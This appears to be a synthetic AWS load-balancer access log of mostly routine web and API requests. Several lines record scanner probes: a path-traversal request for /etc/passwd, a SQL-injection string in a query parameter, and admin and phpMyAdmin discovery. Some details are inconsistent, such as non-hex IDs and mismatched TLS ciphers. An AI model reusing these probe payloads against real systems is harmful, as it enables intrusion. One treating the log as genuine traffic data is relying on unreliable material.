"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c4ca-824d85bf13fb4ffdb43505a2" "prod-web-alb.example.com" "-" 6 2024-11-01T00:56:26.194446Z "forward" "-" "-" "10.0.133.173:443" "200" "-" "-" -https 2024-11-01T00:56:26.587253Z prod-web-alb 33.182.202.168:61023 10.0.173.125:443 0.002142 0.300063 0.096529 200 200 202 1138 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c4ca-9e3f7a98a6ad48809162acf2" "prod-web-alb.example.com" "-" 9 2024-11-01T00:56:26.587253Z "forward" "-" "-" "10.0.173.125:443" "200" "-" "-" -https 2024-11-01T00:56:26.929001Z staging-alb 28.241.142.47:64015 126.232.200.253:80 0.058228 0.045135 0.008315 302 302 144 11093 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c4ca-d6d1e62aec69402296a75732" "staging-alb.example.com" "-" 5 2024-11-01T00:56:26.929001Z "forward" "-" "-" "126.232.200.253:80" "302" "-" "-" -https 2024-11-01T00:56:28.244251Z prod-api-alb 181.184.137.245:42673 10.0.39.72:443 0.008286 0.306538 0.030369 302 302 215 1120 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c4cc-f3f3b97f63be4aaf992224a3" "prod-api-alb.example.com" "-" 7 2024-11-01T00:56:28.244251Z "forward" "-" "-" "10.0.39.72:443" "302" "-" "-" -https 2024-11-01T00:56:29.786009Z staging-alb 25.172.200.98:16201 254.209.206.75:80 0.026128 0.133352 0.031191 302 302 18 8629 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c4cd-89683bb48d0c4573b79dfa90" "staging-alb.example.com" "-" 9 2024-11-01T00:56:29.786009Z "forward" "-" "-" "254.209.206.75:80" "302" "-" "-" -https 2024-11-01T00:56:31.675889Z prod-web-alb 244.206.119.207:46556 10.0.85.192:443 0.024992 0.470391 0.089231 200 200 518 5710 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c4cf-faa98d58f0d34037a5471cd3" "prod-web-alb.example.com" "-" 7 2024-11-01T00:56:31.675889Z "forward" "-" "-" "10.0.85.192:443" "200" "-" "-" -https 2024-11-01T00:56:33.405712Z prod-api-alb 193.27.228.87:31503 10.0.232.188:443 0.001906 0.075284 0.013443 401 401 755 9578 "GET /admin HTTP/1.1" "python-requests/2.31.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c4d1-70bc17b274fd46c7b8a20b15" "-" "-" 4 2024-11-01T00:56:33.405712Z "forward" "-" "-" "10.0.232.188:443" "401" "-" "-" -https 2024-11-01T00:56:35.139753Z prod-api-alb 56.176.125.128:45835 10.0.149.24:443 0.020776 0.038488 0.040921 200 200 308 8667 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c4d3-14eb8e46b66843bdb728b286" "prod-api-alb.example.com" "-" 10 2024-11-01T00:56:35.139753Z "forward" "-" "-" "10.0.149.24:443" "200" "-" "-" -https 2024-11-01T00:56:36.131645Z prod-api-alb 193.27.228.159:64673 10.0.128.73:443 0.019864 0.084098 0.099133 403 403 846 5254 "GET /phpmyadmin HTTP/1.1" "zgrab/0.x" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c4d4-fca5f83af58f4f8e9e0c77eb" "-" "-" 9 2024-11-01T00:56:36.131645Z "forward" "-" "-" "10.0.128.73:443" "403" "-" "-" -https 2024-11-01T00:56:38.104486Z prod-api-alb 202.73.200.119:61901 10.0.101.176:443 0.078701 0.161031 0.099414 200 200 917 4293 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c4d6-885ee045607a4a54b910f029" "prod-api-alb.example.com" "-" 8 2024-11-01T00:56:38.104486Z "forward" "-" "-" "10.0.101.176:443" "200" "-" "-" -https 2024-11-01T00:56:38.897784Z prod-api-alb 72.176.3.75:45426 10.0.16.63:443 0.069653 0.126928 0.031624 200 200 94 275 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c4d6-dc43aaa13bdc4c869109597b" "prod-api-alb.example.com" "-" 1 2024-11-01T00:56:38.897784Z "forward" "-" "-" "10.0.16.63:443" "200" "-" "-" -https 2024-11-01T00:56:40.610366Z staging-alb 215.16.30.19:48181 110.244.84.253:8080 0.032872 0.369611 0.107214 200 200 115 11970 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c4d8-779d344e44da43228503462b" "staging-alb.example.com" "-" 10 2024-11-01T00:56:40.610366Z "forward" "-" "-" "110.244.84.253:8080" "200" "-" "-" -https 2024-11-01T00:56:41.770204Z staging-alb 64.45.46.61:17537 231.33.94.42:80 0.124519 0.376828 0.077475 200 200 205 368 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c4d9-5353824109204d95a02bf334" "staging-alb.example.com" "-" 8 2024-11-01T00:56:41.770204Z "forward" "-" "-" "231.33.94.42:80" "200" "-" "-" -https 2024-11-01T00:56:42.211282Z prod-api-alb 224.200.121.170:41477 10.0.42.149:443 0.073448 0.215838 0.066665 200 200 681 10764 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c4da-eaea7aa6e737402a8ff4e6a6" "prod-api-alb.example.com" "-" 4 2024-11-01T00:56:42.211282Z "forward" "-" "-" "10.0.42.149:443" "200" "-" "-" -https 2024-11-01T00:56:43.428888Z prod-web-alb 218.88.184.76:44985 10.0.165.12:443 0.087033 0.472373 0.092316 200 200 188 4952 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c4db-dec47b5c3aba43c0b4fc17f3" "prod-web-alb.example.com" "-" 10 2024-11-01T00:56:43.428888Z "forward" "-" "-" "10.0.165.12:443" "200" "-" "-" -https 2024-11-01T00:56:44.266607Z prod-api-alb 94.119.241.140:63812 10.0.227.242:443 0.000739 0.123385 0.029442 200 200 4 13401 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c4dc-282e68b5d8794f2a99410bda" "prod-api-alb.example.com" "-" 6 2024-11-01T00:56:44.266607Z "forward" "-" "-" "10.0.227.242:443" "200" "-" "-" -https 2024-11-01T00:56:45.007782Z prod-web-alb 217.197.118.237:50994 10.0.62.139:443 0.084665 0.015181 0.026664 404 404 331 3769 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c4dd-1368acef4fd24e7ab6c48e77" "prod-web-alb.example.com" "-" 10 2024-11-01T00:56:45.007782Z "forward" "-" "-" "10.0.62.139:443" "404" "-" "-" -https 2024-11-01T00:56:45.307596Z prod-api-alb 76.50.79.126:32871 10.0.81.107:443 0.096919 0.192030 0.092112 301 301 783 6768 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c4dd-9ff6b8c04d5b4e0986e9e26d" "prod-api-alb.example.com" "-" 4 2024-11-01T00:56:45.307596Z "forward" "-" "-" "10.0.81.107:443" "301" "-" "-" -https 2024-11-01T00:56:46.280065Z prod-api-alb 235.165.166.19:23979 10.0.171.215:443 0.063888 0.351836 0.012487 200 200 599 11299 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c4de-21334f7039784956ba414053" "prod-api-alb.example.com" "-" 5 2024-11-01T00:56:46.280065Z "forward" "-" "-" "10.0.171.215:443" "200" "-" "-" -https 2024-11-01T00:56:46.612072Z prod-web-alb 12.25.196.254:32548 10.0.91.217:443 0.037177 0.323823 0.032968 302 302 370 10788 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c4de-b09568140dfa4735b5c30a0f" "prod-web-alb.example.com" "-" 5 2024-11-01T00:56:46.612072Z "forward" "-" "-" "10.0.91.217:443" "302" "-" "-" -https 2024-11-01T00:56:47.743255Z prod-web-alb 71.234.70.121:52844 10.0.177.94:443 0.048318 0.432682 0.007054 404 404 573 12066 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c4df-861b500c7a3a4cbfb2ce232b" "prod-web-alb.example.com" "-" 9 2024-11-01T00:56:47.743255Z "forward" "-" "-" "10.0.177.94:443" "404" "-" "-" -https 2024-11-01T00:56:48.085131Z prod-api-alb 27.225.26.145:38346 10.0.213.249:443 0.027085 0.346992 0.015503 301 301 36 4041 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c4e0-735d11d7fe05425c990ce977" "prod-api-alb.example.com" "-" 8 2024-11-01T00:56:48.085131Z "forward" "-" "-" "10.0.213.249:443" "301" "-" "-" -https 2024-11-01T00:56:50.084105Z prod-api-alb 80.86.55.181:64913 10.0.246.126:443 0.043964 0.226054 0.025035 302 302 644 9002 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c4e2-b66d1d8f8cd84d58af0bc2e5" "prod-api-alb.example.com" "-" 1 2024-11-01T00:56:50.084105Z "forward" "-" "-" "10.0.246.126:443" "302" "-" "-" -http 2024-11-01T00:56:50.376389Z staging-alb 240.92.177.56:60876 208.85.180.186:80 0.038680 0.519061 0.032785 200 200 861 1538 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c4e2-7d3e596973ec424eb67bf41a" "staging-alb.example.com" "-" 4 2024-11-01T00:56:50.376389Z "forward" "-" "-" "208.85.180.186:80" "200" "-" "-" -https 2024-11-01T00:56:51.778011Z prod-web-alb 230.170.120.201:52664 10.0.251.126:443 0.055200 0.243308 0.084653 200 200 396 13586 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c4e3-ea3c5860864249e78eaf3c1b" "prod-web-alb.example.com" "-" 9 2024-11-01T00:56:51.778011Z "forward" "-" "-" "10.0.251.126:443" "200" "-" "-" -https 2024-11-01T00:56:52.470320Z prod-api-alb 6.159.159.61:44258 10.0.189.196:443 0.018878 0.067358 0.073097 200 200 649 10847 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c4e4-43c0bb9a310c4bc991437cfc" "prod-api-alb.example.com" "-" 0 2024-11-01T00:56:52.470320Z "forward" "-" "-" "10.0.189.196:443" "200" "-" "-" -http 2024-11-01T00:56:53.362067Z staging-alb 45.155.205.147:13450 158.24.103.94:80 0.116758 0.434909 0.113827 403 403 753 11331 "GET /../../../etc/passwd HTTP/1.1" "Acunetix-Agent" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c4e5-813f406d1d04410e823a2648" "-" "-" 3 2024-11-01T00:56:53.362067Z "forward" "-" "-" "158.24.103.94:80" "403" "-" "-" -https 2024-11-01T00:56:54.570069Z prod-web-alb 96.148.92.209:43245 10.0.16.79:443 0.023460 0.219049 0.092664 200 200 765 727 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c4e6-8040a0c6df4647d384d09d94" "prod-web-alb.example.com" "-" 3 2024-11-01T00:56:54.570069Z "forward" "-" "-" "10.0.16.79:443" "200" "-" "-" -https 2024-11-01T00:56:55.584713Z prod-api-alb 72.99.214.90:43691 10.0.77.36:443 0.014589 0.206825 0.009250 301 301 784 9575 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c4e7-2f1ef94058f6416183147619" "prod-api-alb.example.com" "-" 9 2024-11-01T00:56:55.584713Z "forward" "-" "-" "10.0.77.36:443" "301" "-" "-" -https 2024-11-01T00:56:56.628832Z prod-web-alb 176.76.59.64:51962 10.0.76.237:443 0.030631 0.179881 0.009978 301 301 331 1814 "GET /checkout HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c4e8-36a292c0e3354bf69541b6d7" "prod-web-alb.example.com" "-" 3 2024-11-01T00:56:56.628832Z "forward" "-" "-" "10.0.76.237:443" "301" "-" "-" -https 2024-11-01T00:56:56.767260Z prod-api-alb 197.215.251.17:36168 10.0.243.173:443 0.004964 0.108439 0.023628 200 200 869 13833 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c4e8-c5ef1b30539e4238ab31967f" "prod-api-alb.example.com" "-" 8 2024-11-01T00:56:56.767260Z "forward" "-" "-" "10.0.243.173:443" "200" "-" "-" -http 2024-11-01T00:56:58.434835Z staging-alb 44.143.202.66:23623 144.99.237.177:8080 0.147351 0.291549 0.099816 301 301 409 3220 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c4ea-433892d8f9b24f90abf824dc" "staging-alb.example.com" "-" 8 2024-11-01T00:56:58.434835Z "forward" "-" "-" "144.99.237.177:8080" "301" "-" "-" -http 2024-11-01T00:56:59.226968Z staging-alb 152.21.53.83:40781 54.26.116.190:8080 0.144666 0.002392 0.081324 200 200 402 13353 "GET /web/test HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c4eb-35bb01f3a4c54ab0b8a64fc7" "staging-alb.example.com" "-" 7 2024-11-01T00:56:59.226968Z "forward" "-" "-" "54.26.116.190:8080" "200" "-" "-" -https 2024-11-01T00:57:00.359005Z prod-api-alb 149.174.1.250:41528 10.0.231.116:443 0.084283 0.464121 0.019545 302 302 519 2312 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c4ec-bc35801ae8e441ac919940c1" "prod-api-alb.example.com" "-" 5 2024-11-01T00:57:00.359005Z "forward" "-" "-" "10.0.231.116:443" "302" "-" "-" -https 2024-11-01T00:57:00.630918Z prod-api-alb 208.38.145.77:19362 10.0.19.113:443 0.098462 0.430959 0.013132 404 404 477 13578 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c4ec-4c1d4654a21440b381e5269c" "prod-api-alb.example.com" "-" 1 2024-11-01T00:57:00.630918Z "forward" "-" "-" "10.0.19.113:443" "404" "-" "-" -https 2024-11-01T00:57:01.760879Z staging-alb 185.181.147.41:18475 157.206.50.244:80 0.047905 0.389828 0.098831 500 500 35 14688 "GET /api/products?category=1' OR '1'='1 HTTP/1.1" "Qualys SSL Assessment Scanner" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c4ed-f5bb1e3bfc1d4ade88087f45" "-" "-" 4 2024-11-01T00:57:01.760879Z "forward" "-" "-" "157.206.50.244:80" "500" "-" "-" -https 2024-11-01T00:57:02.162755Z prod-api-alb 38.33.46.182:23540 10.0.15.33:443 0.059540 0.024385 0.058845 200 200 836 822 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c4ee-08ccb37a9c99495e931d7d16" "prod-api-alb.example.com" "-" 6 2024-11-01T00:57:02.162755Z "forward" "-" "-" "10.0.15.33:443" "200" "-" "-" -https 2024-11-01T00:57:03.521636Z prod-web-alb 60.158.167.105:25718 10.0.209.88:443 0.087132 0.256212 0.080231 200 200 632 5672 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c4ef-627598b3bb8f425f92aef54d" "prod-web-alb.example.com" "-" 4 2024-11-01T00:57:03.521636Z "forward" "-" "-" "10.0.209.88:443" "200" "-" "-" -https 2024-11-01T00:57:04.330297Z prod-api-alb 47.87.13.145:32530 10.0.30.93:443 0.096544 0.141677 0.024457 200 200 347 12573 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c4f0-27e74101c7194c3c9de0ac27" "prod-api-alb.example.com" "-" 4 2024-11-01T00:57:04.330297Z "forward" "-" "-" "10.0.30.93:443" "200" "-" "-" -https 2024-11-01T00:57:05.419002Z staging-alb 123.131.64.56:25657 28.122.123.174:443 0.084112 0.183236 0.094173 301 301 60 11893 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c4f1-4249ede8a88e4201a1835303" "staging-alb.example.com" "-" 7 2024-11-01T00:57:05.419002Z "forward" "-" "-" "28.122.123.174:443" "301" "-" "-" -https 2024-11-01T00:57:06.550637Z staging-alb 24.174.244.47:17602 183.179.32.123:8080 0.074446 0.146040 0.084950 200 200 524 14073 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c4f2-1f7524b5cd7c44cc9ccbacd5" "staging-alb.example.com" "-" 7 2024-11-01T00:57:06.550637Z "forward" "-" "-" "183.179.32.123:8080" "200" "-" "-" -http 2024-11-01T00:57:07.528548Z staging-alb 160.108.85.232:56517 124.227.145.89:443 0.026663 0.716966 0.085341 200 200 996 4752 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c4f3-2ada8dcef0d64f05b4a1f940" "staging-alb.example.com" "-" 6 2024-11-01T00:57:07.528548Z "forward" "-" "-" "124.227.145.89:443" "200" "-" "-" -https 2024-11-01T00:57:08.946599Z prod-api-alb 136.80.75.245:44704 10.0.216.112:443 0.037189 0.128471 0.095663 200 200 464 13331 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c4f4-47935235fcdd4648a2cd0f32" "prod-api-alb.example.com" "-" 2 2024-11-01T00:57:08.946599Z "forward" "-" "-" "10.0.216.112:443" "200" "-" "-" -https 2024-11-01T00:57:10.546962Z staging-alb 156.27.123.25:19287 94.61.166.23:443 0.006140 0.569037 0.039163 200 200 757 3447 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c4f6-0b5d5a442a0d4c14a1a6ab86" "staging-alb.example.com" "-" 5 2024-11-01T00:57:10.546962Z "forward" "-" "-" "94.61.166.23:443" "200" "-" "-" -http 2024-11-01T00:57:11.781971Z staging-alb 210.145.231.28:60984 26.31.214.3:443 0.103264 0.652154 0.048732 302 302 843 2594 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c4f7-141ddffc8d764fe0b4ac4794" "staging-alb.example.com" "-" 9 2024-11-01T00:57:11.781971Z "forward" "-" "-" "26.31.214.3:443" "302" "-" "-" -https 2024-11-01T00:57:12.944026Z prod-api-alb 210.144.10.56:40189 10.0.159.42:443 0.041219 0.088786 0.078943 302 302 432 1447 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c4f8-e0c335c83278496aac980242" "prod-api-alb.example.com" "-" 4 2024-11-01T00:57:12.944026Z "forward" "-" "-" "10.0.159.42:443" "302" "-" "-" -https 2024-11-01T00:57:14.105972Z prod-api-alb 51.20.78.204:34510 10.0.137.209:443 0.042237 0.247278 0.002789 200 200 511 14802 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c4fa-02eaf03e7ffa4664b6a32f49" "prod-api-alb.example.com" "-" 5 2024-11-01T00:57:14.105972Z "forward" "-" "-" "10.0.137.209:443" "200" "-" "-" -https 2024-11-01T00:57:14.719748Z staging-alb 203.43.115.66:48004 120.104.119.37:8080 0.067808 0.440633 0.139661 302 302 924 805 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c4fa-14723192ddc349fca3a56dce" "staging-alb.example.com" "-" 10 2024-11-01T00:57:14.719748Z "forward" "-" "-" "120.104.119.37:8080" "302" "-" "-" -https 